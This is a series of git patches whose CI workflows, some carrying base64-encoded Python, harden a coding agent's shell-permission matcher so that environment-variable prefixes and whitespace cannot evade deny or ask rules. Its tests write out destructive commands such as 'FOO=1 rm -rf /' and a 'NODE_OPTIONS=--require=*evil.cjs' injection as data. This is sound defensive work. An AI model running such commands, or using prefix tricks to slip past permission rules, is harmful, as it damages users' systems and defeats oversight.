 | base64 -d > /tmp/fix-rule-generation.py + python3 /tmp/fix-rule-generation.py - name: Install and validate run: | npm ci From 57825c397e4db8dd45a8676de5baf37ec4419465 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Fri, 28 Aug 2026 00:07:55 +0200 Subject: [PATCH 10/36] ci: repair PR 10212 patch generator --- .github/workflows/finalize-pr-10212-r3.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/finalize-pr-10212-r3.yml b/.github/workflows/finalize-pr-10212-r3.yml index b38b5a3c305..cd5a5187637 100644 --- a/.github/workflows/finalize-pr-10212-r3.yml +++ b/.github/workflows/finalize-pr-10212-r3.yml @@ -21,7 +21,7 @@ jobs: | sed '1d;$d;s/^ //' > /tmp/pr10212_patch.py test -s /tmp/pr10212_patch.py python3 /tmp/pr10212_patch.py - echo 'ZnJvbSBwYXRobGliIGltcG9ydCBQYXRoCnAgPSBQYXRoKCJwYWNrYWdlcy9jb3JlL3NyYy91dGlscy9zaGVsbEFzdFBhcnNlci50cyIpCnMgPSBwLnJlYWRfdGV4dCgpCm9sZCA9ICIiIiAgY29uc3QgbmFtZU5vZGUgPSBjb21tYW5kTm9kZS5jaGlsZEZvckZpZWxkTmFtZSgnbmFtZScpOwogIGNvbnN0IGVudlByZWZpeCA9IG5hbWVOb2RlCiAgICA/IGNvbW1hbmROb2RlLm5hbWVkQ2hpbGRyZW4KICAgICAgICAuZmlsdGVyKAogICAgICAgICAgKGNoaWxkKSA9PgogICAgICAgICAgICAvXnZhcmlhYmxlX2Fzc2lnbm1lbnRzPyQvLnRlc3QoY2hpbGQudHlwZSkgJiYKICAgICAgICAgICAgY2hpbGQuZW5kSW5kZXggPD0gbmFtZU5vZGUuc3RhcnRJbmRleCwKICAgICAgICApCiAgICAgICAgLm1hcCgoY2hpbGQpID0+IGNoaWxkLnRleHQpCiAgICAgICAgLmpvaW4oJyAnKQogICAgOiAnJzsiIiIKbmV3ID0gIiIiICBjb25zdCBuYW1lTm9kZSA9IGNvbW1hbmROb2RlLmNoaWxkRm9yRmllbGROYW1lKCduYW1lJyk7CiAgY29uc3QgZW52UHJlZml4ID0KICAgIG5hbWVOb2RlICYmIG5hbWVOb2RlLnN0YXJ0SW5kZXggPiBjb21tYW5kTm9kZS5zdGFydEluZGV4CiAgICAgID8gY29tbWFuZE5vZGUudGV4dAogICAgICAgICAgLnNsaWNlKDAsIG5hbWVOb2RlLnN0YXJ0SW5kZXggLSBjb21tYW5kTm9kZS5zdGFydEluZGV4KQogICAgICAgICAgLnRyaW0oKQogICAgICA6ICcnOyIiIgppZiBvbGQgbm90IGluIHM6CiAgICByYWlzZSBTeXN0ZW1FeGl0KCJnZW5lcmF0ZWQgZW52LXByZWZpeCBibG9jayBub3QgZm91bmQiKQpwLndyaXRlX3RleHQocy5yZXBsYWNlKG9sZCwgbmV3LCAxKSkK' | base64 -d > /tmp/fix-rule-generation.py + echo 'ZnJvbSBwYXRobGliIGltcG9ydCBQYXRoCgpwID0gUGF0aCgicGFja2FnZXMvY29yZS9zcmMvdXRpbHMvc2hlbGxBc3RQYXJzZXIudHMiKQpzID0gcC5yZWFkX3RleHQoKQpvbGQgPSAiIiIgIGNvbnN0IG5hbWVOb2RlID0gY29tbWFuZE5vZGUuY2hpbGRGb3JGaWVsZE5hbWUoJ25hbWUnKTsKICBjb25zdCBlbnZQcmVmaXggPSBuYW1lTm9kZQogICAgPyBjb21tYW5kTm9kZS5uYW1lZENoaWxkcmVuCiAgICAgICAgLmZpbHRlcigKICAgICAgICAgIChjaGlsZCkgPT4KICAgICAgICAgICAgL152YXJpYWJsZV9hc3NpZ25tZW50cz8kLy50ZXN0KGNoaWxkLnR5cGUpICYmCiAgICAgICAgICAgIGNoaWxkLmVuZEluZGV4IDw9IG5hbWVOb2RlLnN0YXJ0SW5kZXgsCiAgICAgICAgKQogICAgICAgIC5tYXAoKGNoaWxkKSA9PiBjaGlsZC50ZXh0KQogICAgICAgIC5qb2luKCcgJykKICAgIDogJyc7IiIiCm5ldyA9ICIiIiAgY29uc3QgbmFtZU5vZGUgPSBjb21tYW5kTm9kZS5jaGlsZEZvckZpZWxkTmFtZSgnbmFtZScpOwogIGNvbnN0IGVudlByZWZpeCA9CiAgICBuYW1lTm9kZSAmJiBuYW1lTm9kZS5zdGFydEluZGV4ID4gY29tbWFuZE5vZGUuc3RhcnRJbmRleAogICAgICA/IGNvbW1hbmROb2RlLnRleHQKICAgICAgICAgIC5zbGljZSgwLCBuYW1lTm9kZS5zdGFydEluZGV4IC0gY29tbWFuZE5vZGUuc3RhcnRJbmRleCkKICAgICAgICAgIC50cmltKCkKICAgICAgOiAnJzsiIiIKaWYgb2xkIG5vdCBpbiBzOgogICAgcmFpc2UgU3lzdGVtRXhpdCgiZ2VuZXJhdGVkIGVudi1wcmVmaXggYmxvY2sgbm90IGZvdW5kIikKcC53cml0ZV90ZXh0KHMucmVwbGFjZShvbGQsIG5ldywgMSkpCg==' | base64 -d > /tmp/fix-rule-generation.py python3 /tmp/fix-rule-generation.py - name: Install and validate run: | From f6367e7ba6d16ad0e8515708fa39aaaf8a32b07a Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Fri, 28 Aug 2026 00:24:18 +0200 Subject: [PATCH 11/36] ci: preserve env assignments across AST siblings --- .github/workflows/finalize-pr-10212-r3.yml | 122 ++++++++++++++++++++- 1 file changed, 120 insertions(+), 2 deletions(-) diff --git a/.github/workflows/finalize-pr-10212-r3.yml b/.github/workflows/finalize-pr-10212-r3.yml index cd5a5187637..471c7ee4ffb 100644 --- a/.github/workflows/finalize-pr-10212-r3.yml +++ b/.github/workflows/finalize-pr-10212-r3.yml @@ -21,8 +21,126 @@ jobs: | sed '1d;$d;s/^ //' > /tmp/pr10212_patch.py test -s /tmp/pr10212_patch.py python3 /tmp/pr10212_patch.py - echo 'ZnJvbSBwYXRobGliIGltcG9ydCBQYXRoCgpwID0gUGF0aCgicGFja2FnZXMvY29yZS9zcmMvdXRpbHMvc2hlbGxBc3RQYXJzZXIudHMiKQpzID0gcC5yZWFkX3RleHQoKQpvbGQgPSAiIiIgIGNvbnN0IG5hbWVOb2RlID0gY29tbWFuZE5vZGUuY2hpbGRGb3JGaWVsZE5hbWUoJ25hbWUnKTsKICBjb25zdCBlbnZQcmVmaXggPSBuYW1lTm9kZQogICAgPyBjb21tYW5kTm9kZS5uYW1lZENoaWxkcmVuCiAgICAgICAgLmZpbHRlcigKICAgICAgICAgIChjaGlsZCkgPT4KICAgICAgICAgICAgL152YXJpYWJsZV9hc3NpZ25tZW50cz8kLy50ZXN0KGNoaWxkLnR5cGUpICYmCiAgICAgICAgICAgIGNoaWxkLmVuZEluZGV4IDw9IG5hbWVOb2RlLnN0YXJ0SW5kZXgsCiAgICAgICAgKQogICAgICAgIC5tYXAoKGNoaWxkKSA9PiBjaGlsZC50ZXh0KQogICAgICAgIC5qb2luKCcgJykKICAgIDogJyc7IiIiCm5ldyA9ICIiIiAgY29uc3QgbmFtZU5vZGUgPSBjb21tYW5kTm9kZS5jaGlsZEZvckZpZWxkTmFtZSgnbmFtZScpOwogIGNvbnN0IGVudlByZWZpeCA9CiAgICBuYW1lTm9kZSAmJiBuYW1lTm9kZS5zdGFydEluZGV4ID4gY29tbWFuZE5vZGUuc3RhcnRJbmRleAogICAgICA/IGNvbW1hbmROb2RlLnRleHQKICAgICAgICAgIC5zbGljZSgwLCBuYW1lTm9kZS5zdGFydEluZGV4IC0gY29tbWFuZE5vZGUuc3RhcnRJbmRleCkKICAgICAgICAgIC50cmltKCkKICAgICAgOiAnJzsiIiIKaWYgb2xkIG5vdCBpbiBzOgogICAgcmFpc2UgU3lzdGVtRXhpdCgiZ2VuZXJhdGVkIGVudi1wcmVmaXggYmxvY2sgbm90IGZvdW5kIikKcC53cml0ZV90ZXh0KHMucmVwbGFjZShvbGQsIG5ldywgMSkpCg==' | base64 -d > /tmp/fix-rule-generation.py - python3 /tmp/fix-rule-generation.py + python3 - <<'PY' + from pathlib import Path + + p = Path('packages/core/src/utils/shellAstParser.ts') + s = p.read_text() + + old = '''function extractRulesFromStatement(node: SyntaxNode): string[] { + switch (node.type) { + case 'command': + return [extractRuleFromCommand(node)].filter(Boolean) as string[]; + + case 'pipeline': + case 'list': + case 'compound_statement': + case 'subshell': { + const rules: string[] = []; + for (const child of node.namedChildren) { + rules.push(...extractRulesFromStatement(child)); + } + return rules; + } + + case 'redirected_statement': { + const body = node.namedChildren[0]; + return body ? extractRulesFromStatement(body) : []; + } + + case 'negated_command': { + const inner = node.namedChildren[0]; + return inner ? extractRulesFromStatement(inner) : []; + } + + case 'variable_assignment': + case 'variable_assignments': + // Pure assignments – no rule needed + return []; + + default: + // For complex constructs (if/while/for/case), try to extract from + // named children conservatively + return []; + } + } + ''' + + new = '''function isVariableAssignmentNode(node: SyntaxNode): boolean { + return /^variable_assignments?$/.test(node.type); + } + + /** + * Extract rules from sibling AST nodes while retaining leading shell + * variable assignments as part of the execution identity of the next + * command. tree-sitter-bash represents `FOO=bar npm install` as a + * variable_assignment sibling followed by a command node, so looking + * only inside the command node loses the security-relevant prefix. + */ + function extractRulesFromNodes(nodes: SyntaxNode[]): string[] { + const rules: string[] = []; + const pendingAssignments: string[] = []; + + for (const node of nodes) { + if (isVariableAssignmentNode(node)) { + pendingAssignments.push(node.text); + continue; + } + + const nodeRules = extractRulesFromStatement(node); + if (pendingAssignments.length > 0 && nodeRules.length > 0) { + nodeRules[0] = `${pendingAssignments.join(' ')} ${nodeRules[0]}`; + } + rules.push(...nodeRules); + pendingAssignments.length = 0; + } + + return rules; + } + + function extractRulesFromStatement(node: SyntaxNode): string[] { + switch (node.type) { + case 'command': + return [extractRuleFromCommand(node)].filter(Boolean) as string[]; + + case 'pipeline': + case 'list': + case 'compound_statement': + case 'subshell': + case 'redirected_statement': + return extractRulesFromNodes(node.namedChildren); + + case 'negated_command': { + const inner = node.namedChildren[0]; + return inner ? extractRulesFromStatement(inner) : []; + } + + case 'variable_assignment': + case 'variable_assignments': + // Pure assignments – no rule needed until followed by a command. + return []; + + default: + return []; + } + } + ''' + + if old not in s: + raise SystemExit('extractRulesFromStatement marker not found') + s = s.replace(old, new, 1) + + old_root = ''' for (const stmt of root.namedChildren) { + rules.push(...extractRulesFromStatement(stmt)); + } + ''' + new_root = ''' rules.push(...extractRulesFromNodes(root.namedChildren)); + ''' + if old_root not in s: + raise SystemExit('extractCommandRules root loop marker not found') + s = s.replace(old_root, new_root, 1) + p.write_text(s) + PY - name: Install and validate run: | npm ci From d2e00732f61f24d6ddf0e3674508ed1d3948127c Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Fri, 28 Aug 2026 00:25:32 +0200 Subject: [PATCH 12/36] ci: make env-prefix root patch whitespace tolerant --- .github/workflows/finalize-pr-10212-r3.yml | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/.github/workflows/finalize-pr-10212-r3.yml b/.github/workflows/finalize-pr-10212-r3.yml index 471c7ee4ffb..44f7b4f1d83 100644 --- a/.github/workflows/finalize-pr-10212-r3.yml +++ b/.github/workflows/finalize-pr-10212-r3.yml @@ -23,6 +23,7 @@ jobs: python3 /tmp/pr10212_patch.py python3 - <<'PY' from pathlib import Path + import re p = Path('packages/core/src/utils/shellAstParser.ts') s = p.read_text() @@ -130,15 +131,18 @@ jobs: raise SystemExit('extractRulesFromStatement marker not found') s = s.replace(old, new, 1) - old_root = ''' for (const stmt of root.namedChildren) { - rules.push(...extractRulesFromStatement(stmt)); - } - ''' - new_root = ''' rules.push(...extractRulesFromNodes(root.namedChildren)); - ''' - if old_root not in s: + pattern = re.compile( + r"\n\s*for \(const stmt of root\.namedChildren\) \{\s*" + r"rules\.push\(\.\.\.extractRulesFromStatement\(stmt\)\);\s*\}\s*", + re.MULTILINE, + ) + s, count = pattern.subn( + '\n rules.push(...extractRulesFromNodes(root.namedChildren));\n\n', + s, + count=1, + ) + if count != 1: raise SystemExit('extractCommandRules root loop marker not found') - s = s.replace(old_root, new_root, 1) p.write_text(s) PY - name: Install and validate From 9c63e13374a39175185df3dfd19af1beeda749f0 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Sat, 29 Aug 2026 21:04:42 +0200 Subject: [PATCH 13/36] chore: remove PR-local finalize workflow --- .../workflows/finalize-pr-10212-r2-runner.yml | 73 ------------------- 1 file changed, 73 deletions(-) delete mode 100644 .github/workflows/finalize-pr-10212-r2-runner.yml diff --git a/.github/workflows/finalize-pr-10212-r2-runner.yml b/.github/workflows/finalize-pr-10212-r2-runner.yml deleted file mode 100644 index 5157ce402f8..00000000000 --- a/.github/workflows/finalize-pr-10212-r2-runner.yml +++ /dev/null @@ -1,73 +0,0 @@ -name: Run PR 10212 review validation -on: - push: - branches: [fix/10197-env-prefix-bash-rules] - paths: [.github/workflows/finalize-pr-10212-r2-runner.yml] -permissions: - contents: write -jobs: - finalize: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - - uses: actions/setup-node@v4 - with: - node-version: 22 - - name: Reuse review patch - run: | - sed -n "/python3 - <<'PY'/,/^ PY$/p" .github/workflows/finalize-pr-10212-r2.yml \ - | sed '1d;$d;s/^ //' > /tmp/pr10212_patch.py - test -s /tmp/pr10212_patch.py - python3 /tmp/pr10212_patch.py - - name: Install, format and validate - run: | - npm ci - npx prettier --write \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - npx prettier --check \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - npx eslint --max-warnings 0 \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - npx vitest run \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/permission-manager.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.test.ts \ - packages/core/src/permissions/shell-semantics.test.ts \ - packages/core/src/utils/shell-utils.test.ts - npx tsc --noEmit -p packages/core/tsconfig.json - - name: Commit tested change - run: | - git config user.name github-actions[bot] - git config user.email 41898282+github-actions[bot]@users.noreply.github.com - git add \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - git diff --cached --quiet && exit 0 - git commit -m "fix(permissions): harden env-prefixed rule semantics" - git push origin HEAD:fix/10197-env-prefix-bash-rules From 99d464c888abdd63446a4e36c52341d615810658 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Sat, 29 Aug 2026 21:04:48 +0200 Subject: [PATCH 14/36] chore: remove embedded PR patch workflow --- .github/workflows/finalize-pr-10212-r2.yml | 317 --------------------- 1 file changed, 317 deletions(-) delete mode 100644 .github/workflows/finalize-pr-10212-r2.yml diff --git a/.github/workflows/finalize-pr-10212-r2.yml b/.github/workflows/finalize-pr-10212-r2.yml deleted file mode 100644 index 2ab6785d54f..00000000000 --- a/.github/workflows/finalize-pr-10212-r2.yml +++ /dev/null @@ -1,317 +0,0 @@ -name: Finalize PR 10212 review fixes -on: - push: - branches: [fix/10197-env-prefix-bash-rules] - paths: [.github/workflows/finalize-pr-10212-r2.yml] -permissions: - contents: write -jobs: - finalize: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - - uses: actions/setup-node@v4 - with: - node-version: 22 - - name: Apply review fixes - run: | - python3 - <<'PY' - from pathlib import Path - - # rule-parser.ts: robust env-token normalization + exported restrictive fallback helper. - p = Path('packages/core/src/permissions/rule-parser.ts') - s = p.read_text() - start = s.index('const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;') - end_marker = '// ─────────────────────────────────────────────────────────────────────────────\n// File path matching (gitignore-style)' - end = s.index(end_marker, start) - new_block = r'''const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; - -function permissionMatchTokens(command: string): string[] { - const tokens: string[] = []; - for (const token of parse(command)) { - if (typeof token === 'string') { - tokens.push(token); - } else if (token && typeof token === 'object' && 'op' in token) { - if ( - token.op === 'glob' && - 'pattern' in token && - typeof token.pattern === 'string' - ) { - // shell-quote represents an unquoted * / ? word as a glob token. - // Keep the original word rather than the literal op name "glob" so - // env assignments such as NODE_OPTIONS=* remain recognizable. - tokens.push(token.pattern); - } else if (typeof token.op === 'string') { - tokens.push(token.op); - } - } - } - return tokens; -} - -/** - * Return the command with leading NAME=value assignments removed. - * If no leading assignment exists, preserve the original trimmed spelling. - * Restrictive permission matching and AUTO dangerous-rule classification use - * this helper so env prefixes can never make deny/ask coverage narrower. - */ -export function stripLeadingVariableAssignments(command: string): string { - const trimmed = command.trim(); - if (!trimmed) return trimmed; - - try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - if (firstCommandToken === 0) return trimmed; - return tokens.slice(firstCommandToken).join(' '); - } catch { - return trimmed; - } -} - -/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */ -function collapseUnquotedWhitespace(command: string): string { - let result = ''; - let quote: "'" | '"' | null = null; - let escaped = false; - let pendingSpace = false; - - for (const ch of command) { - if (escaped) { - result += ch; - escaped = false; - continue; - } - if (ch === '\\' && quote !== "'") { - if (pendingSpace && result) result += ' '; - pendingSpace = false; - result += ch; - escaped = true; - continue; - } - if (quote) { - result += ch; - if (ch === quote) quote = null; - continue; - } - if (ch === "'" || ch === '"') { - if (pendingSpace && result) result += ' '; - pendingSpace = false; - quote = ch; - result += ch; - continue; - } - if (/\s/.test(ch)) { - if (result) pendingSpace = true; - continue; - } - if (pendingSpace && result) result += ' '; - pendingSpace = false; - result += ch; - } - - return result; -} - -function normalizeCommandForPermissionMatch(command: string): string { - const trimmed = command.trim(); - if (!trimmed) return trimmed; - - try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - - // Environment assignments are part of the execution identity for allow - // rules. Preserve them, but canonicalize shell-equivalent whitespace so - // tabs/double spaces cannot evade an explicitly prefixed restrictive rule. - if (firstCommandToken > 0) { - return collapseUnquotedWhitespace(trimmed); - } - - return tokens.join(' '); - } catch { - return trimmed; - } -} - -''' - s = s[:start] + new_block + s[end:] - p.write_text(s) - - # permission-manager.ts: deny/ask match both strict and assignment-stripped shapes. - p = Path('packages/core/src/permissions/permission-manager.ts') - s = p.read_text() - s = s.replace( - " splitCompoundCommand,\n SHELL_TOOL_NAMES,", - " splitCompoundCommand,\n stripLeadingVariableAssignments,\n SHELL_TOOL_NAMES,", - 1, - ) - marker = ''' const matchArgs = [\n toolName,\n command,\n filePath,\n domain,\n pathCtx,\n specifier,\n toolParams,\n toolAliases,\n ] as const;\n''' - replacement = marker + '''\n // Allow rules intentionally bind to the full env-prefixed command identity.\n // Restrictive rules must never become narrower than before this policy\n // change, so deny/ask also test the legacy assignment-stripped shape.\n const restrictiveCommand =\n command !== undefined && SHELL_TOOL_NAMES.has(toolName)\n ? stripLeadingVariableAssignments(command)\n : command;\n const restrictiveMatchArgs = [\n toolName,\n restrictiveCommand,\n filePath,\n domain,\n pathCtx,\n specifier,\n toolParams,\n toolAliases,\n ] as const;\n''' - if marker not in s: - raise SystemExit('permission-manager matchArgs marker not found') - s = s.replace(marker, replacement, 1) - old = ''' if (matchesRule(rule, ...matchArgs, 'canonical')) return 'deny';''' - new = ''' if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n )\n return 'deny';''' - if old not in s: - raise SystemExit('deny match line not found') - s = s.replace(old, new, 1) - old = ''' if (matchesRule(rule, ...matchArgs, 'canonical')) return 'ask';''' - new = ''' if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n )\n return 'ask';''' - if old not in s: - raise SystemExit('ask match line not found') - s = s.replace(old, new, 1) - p.write_text(s) - - # dangerousRules.ts: classify the interpreter behind leading env assignments. - p = Path('packages/core/src/permissions/dangerousRules.ts') - s = p.read_text() - old = "import type { PermissionRule } from './types.js';" - new = old + "\nimport { stripLeadingVariableAssignments } from './rule-parser.js';" - if old not in s: - raise SystemExit('dangerousRules import marker not found') - s = s.replace(old, new, 1) - old = " const content = rule.specifier.trim().toLowerCase();" - new = " const content = stripLeadingVariableAssignments(rule.specifier).toLowerCase();" - if old not in s: - raise SystemExit('dangerousRules content line not found') - s = s.replace(old, new, 1) - p.write_text(s) - - # shellAstParser.ts: generated Always-allow rules retain leading env assignments. - p = Path('packages/core/src/utils/shellAstParser.ts') - s = p.read_text() - old = '''function extractRuleFromCommand(commandNode: SyntaxNode): string | null {\n const rootName = getCommandName(commandNode);\n if (!rootName) return null;\n\n const argNodes = getArgumentNodes(commandNode);''' - new = '''function extractRuleFromCommand(commandNode: SyntaxNode): string | null {\n const rootName = getCommandName(commandNode);\n if (!rootName) return null;\n\n const nameNode = commandNode.childForFieldName('name');\n const envPrefix = nameNode\n ? commandNode.namedChildren\n .filter(\n (child) =>\n /^variable_assignments?$/.test(child.type) &&\n child.endIndex <= nameNode.startIndex,\n )\n .map((child) => child.text)\n .join(' ')\n : '';\n\n const argNodes = getArgumentNodes(commandNode);''' - if old not in s: - raise SystemExit('extractRuleFromCommand header not found') - s = s.replace(old, new, 1) - old = ''' let rule = rootName;''' - new = ''' let rule = envPrefix ? `${envPrefix} ${rootName}` : rootName;''' - # only first occurrence after function is intended - idx = s.index('function extractRuleFromCommand') - pos = s.find(old, idx) - if pos < 0: - raise SystemExit('extract rule initialization not found') - s = s[:pos] + s[pos:].replace(old, new, 1) - p.write_text(s) - - # Dedicated env-prefix tests: remove duplicate + add all review regressions. - p = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') - s = p.read_text() - s = s.replace( - "import { matchesCommandPattern } from './rule-parser.js';", - "import { matchesCommandPattern } from './rule-parser.js';\nimport { extractCommandRules } from '../utils/shellAstParser.js';", - 1, - ) - old = '''function makeConfig(allow: string[]): PermissionManagerConfig {\n return {\n getPermissionsAllow: () => allow,\n getPermissionsAsk: () => [],\n getPermissionsDeny: () => [],''' - new = '''function makeConfig(\n allow: string[] = [],\n ask: string[] = [],\n deny: string[] = [],\n): PermissionManagerConfig {\n return {\n getPermissionsAllow: () => allow,\n getPermissionsAsk: () => ask,\n getPermissionsDeny: () => deny,''' - if old not in s: - raise SystemExit('makeConfig block not found') - s = s.replace(old, new, 1) - duplicate = ''' expect(\n matchesCommandPattern(\n 'python3 *',\n 'PYTHONPATH=/tmp/lib python3 -c "print(1)"',\n ),\n ).toBe(false);\n''' - if duplicate not in s: - raise SystemExit('duplicate PYTHONPATH assertion not found') - s = s.replace(duplicate, '', 1) - s = s.replace( - "it('does not let static env prefixes inherit exact, prefix, or glob rules', () => {", - "it('does not let static env prefixes inherit exact or prefix rules', () => {", - 1, - ) - insert = '''\n it('keeps deny and ask coverage for env-prefixed commands', async () => {\n const denyPm = new PermissionManager(\n makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']),\n );\n denyPm.initialize();\n await expect(\n denyPm.evaluate({\n toolName: 'run_shell_command',\n command: 'FOO=1 rm -rf /',\n cwd: '/repo',\n }),\n ).resolves.toBe('deny');\n\n const askPm = new PermissionManager(\n makeConfig(['Bash'], ['Bash(git push *)']),\n );\n askPm.initialize();\n await expect(\n askPm.evaluate({\n toolName: 'run_shell_command',\n command: 'FOO=bar git push --force',\n cwd: '/repo',\n }),\n ).resolves.toBe('ask');\n });\n\n it('canonicalizes unquoted whitespace in explicit env-prefixed rules', async () => {\n expect(\n matchesCommandPattern('FOO=bar rm *', 'FOO=bar\\trm -rf /'),\n ).toBe(true);\n expect(\n matchesCommandPattern('FOO=bar rm *', 'FOO=bar rm -rf /'),\n ).toBe(true);\n\n const pm = new PermissionManager(\n makeConfig([], [], ['Bash(FOO=bar rm -rf *)']),\n );\n pm.initialize();\n await expect(\n pm.evaluate({\n toolName: 'run_shell_command',\n command: 'FOO=bar\\trm -rf /',\n cwd: '/repo',\n }),\n ).resolves.toBe('deny');\n });\n\n it('preserves quoted env values while matching explicit prefixed rules', () => {\n expect(\n matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm'),\n ).toBe(true);\n });\n\n it('preserves glob tokens inside env-assignment values', () => {\n expect(\n matchesCommandPattern(\n 'NODE_OPTIONS=* npm *',\n 'NODE_OPTIONS=--require=*evil.cjs npm --version',\n ),\n ).toBe(true);\n expect(\n matchesCommandPattern(\n 'FOO=a?b npm --version',\n 'FOO=a?b npm --version',\n ),\n ).toBe(true);\n });\n\n it('round-trips an env-prefixed Always allow rule', async () => {\n const command = 'FOO=bar npm install';\n const generated = await extractCommandRules(command);\n expect(generated).toEqual(['FOO=bar npm install']);\n\n const pm = new PermissionManager(\n makeConfig(generated.map((rule) => `Bash(${rule})`)),\n );\n pm.initialize();\n await expect(\n pm.evaluate({\n toolName: 'run_shell_command',\n command,\n cwd: '/repo',\n }),\n ).resolves.toBe('allow');\n });\n''' - end_marker = '\n});\n' - pos = s.rfind(end_marker) - if pos < 0: - raise SystemExit('env-prefix describe end not found') - s = s[:pos] + insert + s[pos:] - p.write_text(s) - - # dangerousRules regression coverage. - p = Path('packages/core/src/permissions/dangerousRules.test.ts') - s = p.read_text() - marker = ''' it('flags python -c style command-line wildcards', () => {\n expect(isDangerousBashRule(bashRule('python -c *'))).toBe(true);\n expect(isDangerousBashRule(bashRule('node -e *'))).toBe(true);\n });\n''' - addition = marker + '''\n it('flags env-prefixed interpreter wildcards in AUTO mode', () => {\n expect(isDangerousBashRule(bashRule('X=1 python *'))).toBe(true);\n expect(isDangerousBashRule(bashRule('FOO=bar npx *'))).toBe(true);\n expect(isDangerousBashRule(bashRule('FOO=bar npm test'))).toBe(false);\n });\n''' - if marker not in s: - raise SystemExit('dangerousRules insertion marker not found') - s = s.replace(marker, addition, 1) - marker = ''' it('returns empty array when input contains no dangerous rules', () => {''' - addition = ''' it('includes env-prefixed interpreter allow rules', () => {\n const rule = bashRule('X=1 python *');\n expect(findDangerousAllowRules([rule])).toEqual([rule]);\n });\n\n''' - if marker not in s: - raise SystemExit('findDangerousAllowRules marker not found') - s = s.replace(marker, addition + marker, 1) - p.write_text(s) - - # Update the now-stale rule-generation expectation. - p = Path('packages/core/src/utils/shellAstParser.test.ts') - s = p.read_text() - old = ''' it('handles env var prefix', async () => {\n expect(await extractCommandRules('FOO=bar npm install')).toEqual([\n 'npm install',\n ]);\n });''' - new = ''' it('preserves env var prefixes in generated permission rules', async () => {\n expect(await extractCommandRules('FOO=bar npm install')).toEqual([\n 'FOO=bar npm install',\n ]);\n expect(await extractCommandRules('A=1 B=2 npm install pkg')).toEqual([\n 'A=1 B=2 npm install *',\n ]);\n });''' - if old not in s: - raise SystemExit('shellAstParser env-prefix test not found') - s = s.replace(old, new, 1) - p.write_text(s) - PY - - name: Install, format and validate - run: | - npm ci - npx prettier --write \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - npx prettier --check \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - npx eslint --max-warnings 0 \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - npx vitest run \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/permission-manager.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.test.ts \ - packages/core/src/permissions/shell-semantics.test.ts \ - packages/core/src/utils/shell-utils.test.ts - npx tsc --noEmit -p 